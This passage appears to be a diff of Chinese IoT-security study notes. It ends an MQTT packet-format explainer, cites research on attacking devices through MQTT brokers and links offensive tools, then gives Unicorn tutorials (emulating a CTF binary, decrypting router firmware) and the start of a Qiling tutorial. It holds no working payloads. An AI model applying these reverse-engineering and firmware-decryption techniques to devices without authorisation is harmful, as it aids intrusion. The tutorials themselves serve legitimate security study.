|1-2| Protocol Name Length,协议名称的长度 |
|
||||
| ------------ | ------------ |
|
||||
|3-6| Protocol Name,协议名称 |
|
||||
|7| Version, MQTT版本号 |
|
||||
|8| Connect Flags, 连接的标志(下文会细讲) |
|
||||
|9-10| Keep Alive, 表示为心跳间隔 |
|
||||

|
||||
|
||||
对于byte 8,其结构如下:
|
||||
- User Name Flag:用户名标志位,1表示启用用户名,有效载荷中必须包含用户名字段;0表示不启用用户名,有效载荷中不能包含用户名字段。正常都传用户名。如果不启用用户名时,密码也不能启用
|
||||
- Password Flag:密码标志位,1表示启用密码,有效载荷中必须包含密码字段;0表示不启用密码,有效载荷中不能包含密码字段。正常都传密码
|
||||
- Will Retain:遗嘱保留标志位,1表示启用遗嘱保留,0表示关闭遗嘱保留。 遗嘱标志位关闭时,强制为0
|
||||
- Qos Level:表示遗嘱Qos,遗嘱标志位关闭时,强制填00,遗嘱标志位启用时,可以为00(qos0)、01(qos1)、10(qos2)
|
||||
- Will Flag:遗嘱标志位,1表示启用遗嘱功能,0则表示关闭遗嘱功能。启用时,连接标志中的Will Qos(第3、4位),Will Retain (第5位)会被使用,有效载荷中必须包含 遗嘱topic(Will Topic)、遗嘱消息(Will Message)字段;未启用时,连接标志中的Will Qos(第3、4位),Will Retain (第5位)必须为0,。一般选用0
|
||||
- Clean Session Flag:会话清理标志, 1表示每次建立连接,要求服务端重新开启会话;0则表示服务端会话持久化。一般选用1
|
||||
- Reserved: 此位为保留位,固定为0
|
||||

|
||||
|
||||
其中的Qos Level参考上文中的基本概念。
|
||||
关于遗嘱相关概念如下:
|
||||
当客户端启用遗嘱功能时,在CONNECT协议包的可变报头的连接标志中,必须打开遗嘱标志(byte8的第2位),并在有效载荷中传递遗嘱主题和遗嘱消息。当服务端判断客户端异常断开时,服务端会向遗嘱主题发送遗嘱消息。遗嘱消息发布的条件,包括但不限于:
|
||||
- 服务端检测到了一个I/O错误或者网络故障。
|
||||
- 客户端在保持连接(Keep Alive)的时间内未能通讯。
|
||||
- 客户端没有先发送DISCONNECT报文直接关闭了网络连接。
|
||||
- 由于协议错误服务端关闭了网络连接。
|
||||
当启用遗嘱时,在标志位中可以设置遗嘱消息的Qos
|
||||
当启用遗嘱保留标志时,表示遗嘱消息在发布时需要保留。 说人话的意思就是,启动遗嘱保留时,服务端要持久化该遗嘱消息(仅仅保留最新一条),其他人后订阅该遗嘱主题时,能收到最后一次的遗嘱消息。
|
||||
|
||||
**消息体**
|
||||
消息体的结构如下:
|
||||
- Client ID Length:标识符的长度
|
||||
- Client ID:连接时的唯一标识符
|
||||
- User Name Length:用户名的长度
|
||||
- User Name:用户名
|
||||
- Password Length:密码的长度
|
||||
- Password:用户输入的密码
|
||||

|
||||
|
||||
###CONNACK 0x20
|
||||
建立连接的响应包,报文内容会返回连接成功标志。
|
||||
**固定头**
|
||||

|
||||
|
||||
**可变头**
|
||||
第1个字节是连接确认标志,位7-1是保留位且必须设置为0。 第0 (SP)位 是当前会话(Session Present)标志。当服务端建立连接时,会话是新创建的时,SP返回0;会话是之前持久化的会话,且客户端传的清理会话标志没有开启时,SP返回1。第2个字节为连接返回码
|
||||

|
||||
|
||||
返回码类型如下:
|
||||
|
||||
| 值 | 返回码响应 | 描述 |
|
||||
| ------------ | ------------ | ------------ |
|
||||
| 0 | 0x00 连接已接受 | 连接已被服务端接受 |
|
||||
| 1 | 0x01 连接已拒绝,不支持的协议版本 | 服务端不支持客户端请求的 MQTT 协议级别 |
|
||||
| 2 | 0x02 连接已拒绝,不合格的客户端标识符 | 客户端标识符是正确的 UTF-8 编码,但服务 端不允许使用 |
|
||||
| 3 | 0x03 连接已拒绝,服务端不可用 | 网络连接已建立,但 MQTT 服务不可用 |
|
||||
| 4 | 0x04 连接已拒绝,无效的用户名或密码 | 用户名或密码的数据格式无效 |
|
||||
| 5 | 0x05 连接已拒绝,未授权 | 客户端未被授权连接到此服务器 |
|
||||
| 6-255 | | 保留 |
|
||||
|
||||
###PUBLISH 0x30
|
||||
Publish控制报文是指从客户端向服务端或者服务端向客户端传输一个应用消息。
|
||||
**固定头**
|
||||

|
||||
|
||||
DUP Flag:重发标志,如果 DUP 标志被设置为 0,表示这是客户端或服务端第一次请求发送这个 PUBLISH 报文。如果 DUP 标志被设置为 1,表示这可能是一个早前报文请求的重发。客户端或服务端请求重发一个 PUBLISH 报文时,必须将 DUP 标志设置为 1。对于 QoS 0 的消息,DUP 标志必须设置为 0 。服务端发送 PUBLISH 报文给订阅者时,收到(入站)的 PUBLISH 报文的 DUP 标志的值不会被传播。发送(出站)的 PUBLISH 报文与收到(入站)的 PUBLISH 报文中的 DUP 标志是独立设置的,它的值必须单独的根据发送(出站)的 PUBLISH 报文是否是一个重发来确定
|
||||
**可变头**
|
||||

|
||||
|
||||
**消息体**
|
||||
有效载荷包含将被发布的应用消息。数据的内容和格式是应用特定的。有效载荷的长度这样计算:用固定报头中的剩余长度字段的值减去可变报头的长度。包含零长度有效载荷的 PUBLISH 报文是合法的。
|
||||
Message Identifier:类似于消息的标识符
|
||||
|
||||

|
||||

|
||||
|
||||
###PUBACK 0x40
|
||||
PUBACK 报文是对 QoS 1 等级的 PUBLISH 报文的响应。
|
||||
**固定头**
|
||||

|
||||
|
||||
**消息体**
|
||||

|
||||
|
||||
###PUBREC 0x50– 发布收到(QoS 2,第一步)
|
||||
PUBREC 报文是对 QoS 等级 2 的 PUBLISH 报文的响应。它是 QoS 2 等级协议交换的第二个报文。
|
||||
**固定头**
|
||||

|
||||
|
||||
**可变头**
|
||||

|
||||
|
||||
###PUBREL 0x60– 发布释放(QoS 2,第二步)
|
||||
PUBREL 报文是对 PUBREC 报文的响应。它是 QoS 2 等级协议交换的第三个报文。
|
||||
**固定头**
|
||||

|
||||
|
||||
**可变头**
|
||||

|
||||
|
||||
###PUBCOMP 0x70-发布完成(QoS 2,第三步)
|
||||
PUBCOMP 报文是对 PUBREL 报文的响应。它是 QoS 2 等级协议交换的第四个也是最后一个报文。
|
||||
**固定头**
|
||||

|
||||
|
||||
**可变头**
|
||||

|
||||
|
||||
###SUBSCRIBE 0x80
|
||||
客户端向服务端发送 SUBSCRIBE 报文用于创建一个或多个订阅。每个订阅注册客户端关心的一个或多个主题。为了将应用消息转发给与那些订阅匹配的主题,服务端发送 PUBLISH 报文给客户端。SUBSCRIBE报文也(为每个订阅)指定了最大的 QoS 等级,服务端根据这个发送应用消息给客户端。
|
||||
**固定头**
|
||||
SUBSCRIBE 控制报固定报头的第 3,2,1,0 位是保留位,必须分别设置为 0,0,1,0。服务端必须将其它的任何值都当做是不合法的并关闭网络连接。
|
||||

|
||||
|
||||
**可变头**
|
||||

|
||||
|
||||
**消息体**
|
||||
SUBSCRIBE报文的有效载荷包含了一个主题过滤器列表,它们表示客户端想要订阅的主题,每一个过滤器后面跟着一个字节,这个字节被叫做服务质量要求(Requested QoS)。它给出了服务端向客户端发送应用消息所允许的最大 QoS 等级。
|
||||

|
||||
|
||||
###SUBACK 0x90
|
||||
服务端收到客户端发送的一个 SUBSCRIBE 报文时,必须使用 SUBACK 报文响应。SUBACK 报文必须和等待确认的 SUBSCRIBE 报文有相同的报文标识符。
|
||||
**固定头**
|
||||

|
||||
|
||||
**可变头**
|
||||

|
||||
|
||||
**消息体**
|
||||
有效载荷包含一个返回码清单。每个返回码对应等待确认的 SUBSCRIBE 报文中的一个主题过滤器。返回码的顺序必须和 SUBSCRIBE 报文中主题过滤器的顺序相同。
|
||||

|
||||
|
||||
###UNSUBSCRIBE 0xA2
|
||||
客户端发送 UNSUBSCRIBE 报文给服务端,用于取消订阅主题
|
||||
**固定头**
|
||||

|
||||
|
||||
**可变头**
|
||||
可变报头包含一个报文标识符
|
||||

|
||||
|
||||
**消息体**
|
||||
UNSUBSCRIBE 报文的有效载荷包含客户端想要取消订阅的主题过滤器列表,UNSUBSCRIBE 报文的有效载荷必须至少包含一个消息过滤器。
|
||||

|
||||
|
||||
###UNSUBACK 0xB0–取消订阅确认
|
||||
服务端发送 UNSUBACK 报文给客户端用于确认收到 UNSUBSCRIBE 报文。
|
||||
**固定头**
|
||||

|
||||
|
||||
**可变头**
|
||||
可变报头包含等待确认的 UNSUBSCRIBE 报文的报文标识符
|
||||

|
||||
|
||||
###PINGREQ 0xC0
|
||||
客户端发送 PINGREQ 报文给服务端的。用于:
|
||||
1. 在没有任何其它控制报文从客户端发给服务的时,告知服务端客户端还活着。
|
||||
2. 请求服务端发送 响应确认它还活着。
|
||||
3. 使用网络以确认网络连接没有断开。
|
||||
保持连接(Keep Alive)处理中用到这个报文
|
||||
|
||||
**固定头**
|
||||

|
||||
|
||||
**可变头**
|
||||
PINGREQ 报文没有可变报头
|
||||
**消息体**
|
||||
PINGREQ 报文没有有效载荷
|
||||
|
||||
###PINGRESP 0xD0
|
||||
服务端发送 PINGRESP 报文响应客户端的 PINGREQ 报文。表示服务端还活着。
|
||||
保持连接(Keep Alive)处理中用到这个报文
|
||||
|
||||
**固定头**
|
||||

|
||||
|
||||
**可变头**
|
||||
PINGRESP 报文没有可变报头
|
||||
**消息体**
|
||||
PINGRESP 报文没有有效载荷
|
||||
|
||||
###DISCONNECT 0xE0
|
||||
DISCONNECT 报文是客户端发给服务端的最后一个控制报文。表示客户端正常断开连接。
|
||||
**固定头**
|
||||

|
||||
|
||||
**消息体**
|
||||
DISCONNECT 报文没有有效载荷
|
||||
|
||||
#四、MQTT协议相关安全性研究
|
||||
|
||||
##相关学术论文研读
|
||||
今年研读了一篇徐绘凯学长在S&P2022中发表的一篇安全文章(Trampoline Over the Air: Breaking in IoT Devices Through MQTT Brokers),并有幸能和团队中的一位学长交流分享心得。
|
||||
这篇文章针对设备处理未授权的MQTT信息时,并未对消息的内容进行判断,很容易产生命令执行等高危漏洞。针对这种情况,文章设计了一个威胁模型(Trampoline Over the Air Attack),并设计了模糊测试工具ShadowFuzzer。
|
||||

|
||||
|
||||

|
||||
|
||||
#参考链接
|
||||
MQTT协议解析参考博客:
|
||||
**[https://github.com/mcxiaoke/mqtt](https://github.com/mcxiaoke/mqtt)
|
||||
[https://www.cnblogs.com/jiangzhaowei/p/8779715.html](https://www.cnblogs.com/jiangzhaowei/p/8779715.html)
|
||||
[https://zhuanlan.zhihu.com/p/164930347](https://zhuanlan.zhihu.com/p/164930347)
|
||||
[https://zhuanlan.zhihu.com/p/443746027](https://zhuanlan.zhihu.com/p/443746027)
|
||||
[https://zhuanlan.zhihu.com/p/429891532**](https://zhuanlan.zhihu.com/p/429891532**)
|
||||
MQTT-PWN:
|
||||
[https://github.com/akamai-threat-research/mqtt-pwn](https://github.com/akamai-threat-research/mqtt-pwn)
|
||||
文章链接:
|
||||
[https://ieeexplore.ieee.org/abstract/document/9797386](https://ieeexplore.ieee.org/abstract/document/9797386)、
|
||||
[https://github.com/ReAbout/ShadowFuzzer](https://github.com/ReAbout/ShadowFuzzer)
|
||||
@@ -0,0 +1,254 @@
|
||||
# 物联网安全之Unicorn框架初探
|
||||
> Pachimker
|
||||
> 来源:https://www.iotsec-zone.com/article/380
|
||||
|
||||
# 背景
|
||||
Unicorn 是一款基于 QEMU 的快速 CPU 模拟器框架,可以模拟多种体系结构的指令集,包括 ARM、MIPS、PowerPC、SPARC 和 x86 等。Unicorn使我们可以更好地关注 CPU 操作, 忽略机器设备的差异。它能够在虚拟内存中加载和运行二进制代码,并提供对模拟器状态的完全控制,包括内存、寄存器和标志位等。该项目最初是作为一个 QEMU 插件而启动的,但随着时间的推移,它已经成长为一款独立的模拟器框架。现在 Unicorn 在许多领域都有应用,如二进制代码分析、系统仿真、漏洞测试等。
|
||||
|
||||
# unicorn基础
|
||||
|
||||
unicorn安装:
|
||||
|
||||
最简单的安装方式为Python PIP安装:
|
||||
|
||||
```
|
||||
pip3 install unicorn
|
||||
|
||||
```
|
||||
|
||||
手动编译方式如下:
|
||||
|
||||
```
|
||||
wget https://github.com/unicorn-engine/unicorn/archive/2.0.1.zip
|
||||
unzip 2.0.1.zip
|
||||
cd unicorn-2.0.1/bingings/python
|
||||
sudo make install
|
||||
|
||||
```
|
||||
|
||||
在unicorn/bindings/python目录下,下面有官方提供的example脚本可以供我们学习。
|
||||
|
||||
```
|
||||
from unicorn import *
|
||||
# 在使用Unicorn前导入unicorn模块. 样例中使用了一些x86寄存器常量, 所以也需要导入unicorn.x86_const模块
|
||||
from unicorn.x86_const import *
|
||||
|
||||
# 需要模拟的二进制机器码, 需要使用十六进制表示, 代表的汇编指令是: "INC ecx" 和 "DEC edx",即ecx+=1,edx-=1
|
||||
X86_CODE32 = b"\x41\x4a" # INC ecx; DEC edx
|
||||
|
||||
# 我们将模拟执行上述指令的所在虚拟地址
|
||||
ADDRESS = 0x80000
|
||||
|
||||
print("Emulate i386 code")
|
||||
try:
|
||||
# 使用Uc类初始化Unicorn, 该类接受2个参数: 硬件架构和32/64位(模式),在这里我们需要模拟执行x86架构的32位代码, 并使用变量mu来接受返回值。
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# 使用mem_map函数根据ADDRESS映射2MB用于模拟执行的内存空间。所有进程中的CPU操作都应该只访问该内存区域,映射的内存具有默认的读,写和执行权限。
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# 将需要模拟执行的代码写入我们刚刚映射的内存中。mem_write函数2个参数: 要写入的内存地址和需要写入内存的代码。
|
||||
mu.mem_write(ADDRESS, X86_CODE32)
|
||||
|
||||
# 使用reg_write函数设置ECX和EDX寄存器的值
|
||||
mu.reg_write(UC_X86_REG_ECX, 0x1234)
|
||||
mu.reg_write(UC_X86_REG_EDX, 0x7890)
|
||||
|
||||
# 使用emu_start方法开始模拟执行, 该函数接受4个参数: 要模拟执行的代码地址, 模拟执行停止的内存地址(这里是X86_CODE32的最后1字节处), 模拟执行的时间和需要执行的指令数目。如果我们忽略后两个参数, Unicorn将会默认以无穷时间和无穷指令数目的条件来模拟执行代码。
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))
|
||||
|
||||
# 我们使用reg_read函数来读取寄存器中的值,打印输出ECX和EDX寄存器的值。
|
||||
print("Emulation done. Below is the CPU context")
|
||||
r_ecx = mu.reg_read(UC_X86_REG_ECX)
|
||||
r_edx = mu.reg_read(UC_X86_REG_EDX)
|
||||
print(">>> ECX = 0x%x" %r_ecx)
|
||||
print(">>> EDX = 0x%x" %r_edx)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
```
|
||||
|
||||
上面的代码大致过程设置虚拟地址并初始化unicorn引擎,并设置内存映射空间,随后将要模拟执行代码写入内存虚拟空间中。程序执行前给ecx寄存器赋值为0x1234,edx寄存器赋值为0x7890,当执行emu_start函数时,程序从要模拟代码的开始进行执行。此时运行仿真代码为"INC ecx; DEC edx"。即,对ecx进行加一操作,对edx进行减一操作。运行后打印结果如下:
|
||||
|
||||

|
||||
|
||||
我们可以从项目中所有的example案例中可以提取出unicorn模板脚本:
|
||||
|
||||
```
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import *
|
||||
# 相应架构的常量信息:
|
||||
# arch:UC_ARCH_ARM、UC_ARCH_ARM64、UC_ARCH_M68K、UC_ARCH_MAX、UC_ARCH_MIPS、UC_ARCH_PPC、UC_ARCH_SPARC、UC_ARCH_X86
|
||||
# mode:UC_MODE_16、UC_MODE_32、UC_MODE_64、UC_MODE_ARM、UC_MODE_BIG_ENDIAN、UC_MODE_LITTLE_ENDIAN、UC_MODE_MCLASS、UC_MODE_MICRO、UC_MODE_MIPS3、UC_MODE_MIPS32、UC_MODE_MIPS32R6、UC_MODE_MIPS64、UC_MODE_PPC32、UC_MODE_PPC64、UC_MODE_QPX、UC_MODE_SPARC32、UC_MODE_SPARC64、UC_MODE_THUMB、UC_MODE_V8、UC_MODE_V9
|
||||
|
||||
# 该模板中的UC_ARCH_X86可替换成为其他架构的常量,且相应寄存器常量名称也要相应改变。
|
||||
|
||||
# 定义要执行的指令
|
||||
CODE = b"\xXX"
|
||||
|
||||
# 指定内存地址
|
||||
BASE_ADDRESS = 0x100000
|
||||
|
||||
# 定义hook函数
|
||||
def hook_code(uc, address, size, user_data):
|
||||
# 输出寄存器值和内存内容
|
||||
print("[+] RIP=0x%x RAX=0x%x RBX=0x%x RCX=0x%x RDX=0x%x" % (uc.reg_read(UC_X86_REG_RIP), uc.reg_read(UC_X86_REG_RAX), uc.reg_read(UC_X86_REG_RBX), uc.reg_read(UC_X86_REG_RCX), uc.reg_read(UC_X86_REG_RDX)))
|
||||
print("[+] Memory:")
|
||||
for i in range(0x1000):
|
||||
if uc.mem_read(BASE_ADDRESS+i, 1) != b'\x00':
|
||||
print("0x%x: %s" % (BASE_ADDRESS+i, uc.mem_read(BASE_ADDRESS+i, 16).hex()))
|
||||
|
||||
# 初始化 Unicorn 引擎和内存空间
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_64)
|
||||
mu.mem_map(BASE_ADDRESS, 0x10000)
|
||||
mu.mem_write(BASE_ADDRESS, CODE)
|
||||
|
||||
# 设置 RIP 和 RSP
|
||||
mu.reg_write(UC_X86_REG_RIP, BASE_ADDRESS)
|
||||
mu.reg_write(UC_X86_REG_RSP, BASE_ADDRESS + 0x10000)
|
||||
|
||||
# 注册hook函数
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# 开始模拟执行
|
||||
mu.emu_start(BASE_ADDRESS, BASE_ADDRESS + len(CODE))
|
||||
```
|
||||
|
||||
注:函数(或钩子函数)是一种用户自定义函数,用于在模拟执行指令时对特定事件进行处理。当程序执行到某个地址时,引擎会调用已注册的 Hook 函数,并将当前的 CPU 状态、指令地址和指令大小等信息传递给函数。这样,用户就可以利用 Hook 函数来监测程序的执行状态、修改寄存器/内存值,或者实现其他自定义功能。
|
||||
|
||||
# unicorn实例
|
||||
|
||||
以ctf题目为例,下载题目附件后,拖入IDA进行分析。进行main函数分析发现整个程序执行完毕后就会输出flag的值,不考虑指令集架构及运行程序的情况下,正常逆向思路便是逆向程序逻辑以及函数代码并编写相应解密程序进行运行获取flag。
|
||||
|
||||

|
||||
|
||||
sub_400670函数为加密函数,如果我们基础不够或者并不会逆向,这里便可以使用unicorn仿真执行程序。那么这里unicorn仿真的整体流程就是仿真执行整个main函数,main函数地址为0x4004E0~0x400475。
|
||||
|
||||

|
||||
|
||||
根据以上我们得出的信息,对模板脚本进行修改:
|
||||
|
||||
```
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import *
|
||||
|
||||
# 定义要执行的指令
|
||||
def read(name):
|
||||
with open(name,"rb") as f:
|
||||
return f.read()
|
||||
|
||||
# 指定内存地址
|
||||
BASE_ADDRESS = 0x400000
|
||||
STACK_ADDR = 0x0
|
||||
STACK_SIZE = 1024*1024
|
||||
|
||||
# 定义hook函数
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size))
|
||||
|
||||
# 初始化 Unicorn 引擎和内存空间
|
||||
mu = Uc (UC_ARCH_X86, UC_MODE_64)
|
||||
mu.mem_map(BASE_ADDRESS, 1024*1024)
|
||||
mu.mem_map(STACK_ADDR, STACK_SIZE)
|
||||
|
||||
# 设置 RIP 和 RSP
|
||||
mu.mem_write(BASE_ADDRESS, read("./test"))
|
||||
mu.reg_write(UC_X86_REG_RSP, STACK_ADDR + STACK_SIZE - 1)
|
||||
|
||||
# 注册hook函数
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# 开始模拟执行
|
||||
mu.emu_start(0x00000000004004E0, 0x0000000000400575)
|
||||
|
||||
```
|
||||
|
||||
运行发现在地址0x4004ef处的指令在运行时报错了。unicorn显示Invalid memory read,猜测为地址读取问题。
|
||||
|
||||

|
||||
|
||||
逆向代码发现,报错处的指令为将mov rdi, cs:stdout,原因是由于没有设置cs寄存器以及stdout stream地址导致无法访问。但是这条指令对我们仿真结果没有影响,我们可以手动对程序报错地址0x4004ef处的指令进行patch,使其跳过。patch好以后,再次运行发现又报错了。
|
||||
|
||||

|
||||
|
||||
逆向发现,此处和上面形成原因类似,访问了没有设置bss段地址,并且也对仿真结果没有影响。循环往复patch并运行后发现在0x4004EF,0x4004F6,0x400502,0x40054F 地址处都会报错。
|
||||
|
||||

|
||||
|
||||
针对于以上遇到的问题的出现并没有对结果产生影响,我们可以在代码中手动过滤这些地址,使其跳过。随后在程序执行最后put函数,我们可以取出打印结果。脚本中添加代码如下:
|
||||
|
||||
```
|
||||
nop_address = [0x00000000004004EF, 0x00000000004004F6, 0x0000000000400502, 0x000000000040054F]
|
||||
def hook_code(mu, address, size, user_data):
|
||||
if address in nop_address:
|
||||
mu.reg_write(UC_X86_REG_RIP, address+size)
|
||||
elif address == 0x400560:
|
||||
c = mu.reg_read(UC_X86_REG_RDI)
|
||||
print(chr(c))
|
||||
mu.reg_write(UC_X86_REG_RIP, address+size)
|
||||
|
||||
```
|
||||
|
||||
运行脚本后,我们已经可以让程序在运行解密过程了。但是速度极慢,5分钟打印3个字符。
|
||||
|
||||

|
||||
|
||||
在调试过程中我们发现在运行sub_400670函数时,程序内部条件分支会不断调用函数自身,从而进入递归状态,导致解密时间非常长。我们想到在参数一致的情况下,重复执行sub_400670函数非常占用资源和时间,这里对其进行优化。思路如下,我们可以使用栈空间来保存一个不同输入参数以及对应计算结果的字典来避免重复计算。具体可分为参数保存和返回值取出俩个步骤:
|
||||
|
||||
参数保存步骤为:当程序运行到 sub_400670 函数时,会读取函数的两个输入参数(x86_64架构中俩个参数分别保存在rdi和rsi寄存器中),将(arg0, arg1)保存一下。然后,我们检查字典中是否包含这个元组作为键的条目。如果存在,说明之前已经计算过这个函数,可以直接从字典中取出对应的计算结果并执行ret进行返回。如果不存在,则说明对应参数的函数还没有被计算过,程序需要进行函数运算。返回值取出的步骤为:当我们将输入参数压入一个栈中,程序执行完成后,会执行到到函数的结尾处(ret),我们可以在此处取出函数的返回值,并将其存储在 (ret_rax, ret_ref) 中(ret_rax 是函数返回值,ret_ref 是保存返回值的地址)。然后,我们将这个元组作为值,将 (arg0, arg1) 作为键,将其存储到字典 d 中。这样,下一次计算相同参数的sub_400670函数时,就可以直接从字典中取出对应的计算结果,而无需再次进行计算。
|
||||
|
||||
在原来的脚本之上,我们添加的代码如下:
|
||||
|
||||
```
|
||||
from pwn import *
|
||||
stack = []
|
||||
direct = {}
|
||||
ENTRY = [0x0000000000400670]
|
||||
END = [0x00000000004006F1, 0x0000000000400709]
|
||||
def hook_code(mu, address, size, user_data):
|
||||
if address in ENTRY:
|
||||
arg0 = mu.reg_read(UC_X86_REG_RDI)
|
||||
r_rsi = mu.reg_read(UC_X86_REG_RSI)
|
||||
arg1 = u32(mu.mem_read(r_rsi, 4))
|
||||
if (arg0,arg1) in direct:
|
||||
(ret_rax, ret_ref) = direct[(arg0,arg1)]
|
||||
mu.reg_write(UC_X86_REG_RAX, ret_rax)
|
||||
mu.mem_write(r_rsi, p32(ret_ref))
|
||||
mu.reg_write(UC_X86_REG_RIP, 0x400582)
|
||||
else:
|
||||
stack.append((arg0,arg1,r_rsi))
|
||||
|
||||
elif address in END:
|
||||
(arg0, arg1, r_rsi) = stack.pop()
|
||||
ret_rax = mu.reg_read(UC_X86_REG_RAX)
|
||||
ret_ref = u32(mu.mem_read(r_rsi,4))
|
||||
direct[(arg0, arg1)]=(ret_rax, ret_ref)
|
||||
|
||||
```
|
||||
|
||||
此时再次运行脚本,爆破速度提升,且运行结果已经完全显示。
|
||||
|
||||

|
||||
|
||||
unicorn也固件解密中也发挥了重要作用,在文章(https://www.shielder.com/blog/2022/03/reversing-embedded-device-bootloader-u-boot-p.2)中,作者通过对某华设备固件进行逆向分析以及unicorn仿真执行解密出了kernel文件。大致思路如下,作者通过binwalk提取固件,发现固件已经被加密,并对提取出来的部分进行分析后发现uboot.bin具有可利用信息。
|
||||
|
||||

|
||||
|
||||
对uboot.bin进行逆向分析后,通过开源uboot代码恢复符号表,定位出了uboot解密kernel时的对应加密函数。
|
||||
|
||||

|
||||
|
||||
在解密算法时发现uboot载入kernel.img并对其进行AES解密。解密共有俩种方法,一种方法为逆向解密,需要一定的逆向技术才可完成,较复杂。另一种方式便是使用unicorn仿真执行解密函数,该种方法较为简单便捷。这里选取了第二种方式来解密,核心代码如下,代码使用 unicorn 待解密文件加载到虚拟内存并执行模拟执行解密代码 ,并使用disas_single函数打印出此时正在执行的汇编指令来便于我们调试。
|
||||
|
||||

|
||||
|
||||
执行后便解密出了vmlinux前512字节,完善脚本后便可解密整个vmlinux文件。随后,我们可以使用vmlinux-to-elf工具对vmlinux恢复函数符号表。一般情况下,linux下对固件升级和固件加密都是放在内核完成的,接下来我们对kernel文件进行逆向分析就可能得出rootfs的解密流程。
|
||||
|
||||

|
||||
|
||||
unicorn除了在ctf和固件解密方向有实质性作用,在漏洞挖掘的fuzz方向也具有一定研究价值,但是基于unicorn的fuzzer较为复杂且难度较高。与此同时,qiling框架的出现使得仿真fuzz变得较为简单。qiling是一个基于unicorn引擎开发的高级框架,它可以利用unicorn来模拟CPU指令,但是它同样可以理解操作系统上下文,它集成了可执行文件格式加载器、动态链接、系统调用和I/O处理器。更重要的是,qiling可以在不需要原生操作系统的环境下运行可执行文件源码。现阶段来看qiling框架更加适合安全研究人员,这也是我们后面需要学习的内容。
|
||||
|
||||
# 总结
|
||||
|
||||
这一小节,我们学习了unicorn框架的使用基础,并通过一道ctf题目仿真并解出了flag。同时学习了unicorn在固件解密方向的思路,使我们更加了解unicorn框架。
|
||||
@@ -0,0 +1,656 @@
|
||||
# 物联网安全之qiling框架初探
|
||||
> Pachimker
|
||||
> 来源:https://www.iotsec-zone.com/article/391
|
||||
|
||||
# 背景
|
||||
Qiling Framework是一个基于Python的二进制分析、模拟和虚拟化框架。它可以用于动态分析和仿真运行不同操作系统、处理器和体系结构下的二进制文件。除此之外,Qiling框架还提供了易于使用的API和插件系统,方便使用者进行二进制分析和漏洞挖掘等工作。其创始人是一名IoT Hacker,创建qiling的初衷便是解决在研究IoT时遇到的种种问题,这也是为什么上一小节说qiling框架比unicorn框架更加适合IoT研究初学者。
|
||||
|
||||
# qiling使用基础
|
||||
|
||||
qiling框架和AFLplusplus安装
|
||||
|
||||
```
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y build-essential python3-dev automake cmake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools cargo libgtk-3-dev
|
||||
sudo apt-get install -y lld-14 llvm-14 llvm-14-dev clang-14
|
||||
sudo apt-get install -y gcc-$(gcc --version|head -n1|sed 's/\..*//'|sed 's/.* //')-plugin-dev libstdc++-$(gcc --version|head -n1|sed 's/\..*//'|sed 's/.* //')-dev
|
||||
pip3 install qiling
|
||||
git clone https://github.com/AFLplusplus/AFLplusplus
|
||||
make -C AFLplusplus
|
||||
cd AFLplusplus/unicorn_mode
|
||||
./build_unicorn_support.sh
|
||||
|
||||
```
|
||||
|
||||
### 程序仿真
|
||||
|
||||
首先我们需要克隆qiling仓库,仓库中一些实例脚本可供我们学习。
|
||||
|
||||
```
|
||||
git clone --recurse-submodules https://github.com/qilingframework/qiling.git
|
||||
|
||||
```
|
||||
|
||||
一个简单的示例:
|
||||
|
||||
```
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
# gcc test.c -o test
|
||||
# 注意:编译程序的主机libc需要与rootfs glibc版本(libc-2.7.so)相对应,其他架构同理
|
||||
int main(){
|
||||
printf("hello world!");
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
使用qiling编写一个简单的仿真脚本。
|
||||
|
||||
```
|
||||
from qiling import *
|
||||
from qiling.const import QL_VERBOSE
|
||||
# 导入qiling模块和qiling.const模块中的QL_VERBOSE常量
|
||||
|
||||
if __name__ == "__main__":
|
||||
#创建Qiling对象,实例中三个参数分别为:path(仿真程序路径)、rootfs(仿真程序文件系统目录)和verbose(输出信息参数),除此外还可以设置env和log_plain参数。
|
||||
ql = Qiling(["./x8664_linux_symlink/test"], "./x8664_linux_symlink",verbose=QL_VERBOSE.DEBUG)
|
||||
#运行Qiling对象的run()方法,开始执行仿真程序
|
||||
ql.run()
|
||||
|
||||
```
|
||||
|
||||
这里的verbose(输出信息参数)有如下级别及其作用:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### VFS劫持
|
||||
|
||||
x86_fetch_urandom程序的作用为打开/dev/urandom文件,生成随机数。当qiling仿真x86_fetch_urandom程序时,环境需要用到仿真文件系统,我们就需要用到VFS劫持,这样就可以模拟修改文件系统。下面的代码中为仿真虚拟路径 "/dev/urandom" 会被映射到宿主系统上的现有"/dev/urandom"文件。当模拟程序将访问 /dev/random 时,将改为访问映射文件。
|
||||
|
||||
```
|
||||
from qiling import Qiling
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["x86_linux/bin/x86_fetch_urandom"], "x86_linux")
|
||||
|
||||
ql.add_fs_mapper(r'/dev/urandom', r'/dev/urandom')
|
||||
ql.verbose=0
|
||||
ql.run()
|
||||
```
|
||||
|
||||

|
||||
|
||||
如果我们想要控制虚拟文件'/dev/urandom'的交互结果,可以继承QlFsMappedObject类,并可自定义read、write、fstat、ioctl、readline等方法。
|
||||
|
||||
```
|
||||
from qiling import Qiling
|
||||
from qiling.os.mapper import QlFsMappedObject
|
||||
|
||||
class FakeUrandom(QlFsMappedObject):
|
||||
def read(self, size: int) -> bytes:
|
||||
return b"\x01" #可以修改读取返回结果
|
||||
|
||||
def fstat(self) -> int:
|
||||
return -1
|
||||
|
||||
def close(self) -> int:
|
||||
return 0
|
||||
|
||||
if __name__ == "__main__":
|
||||
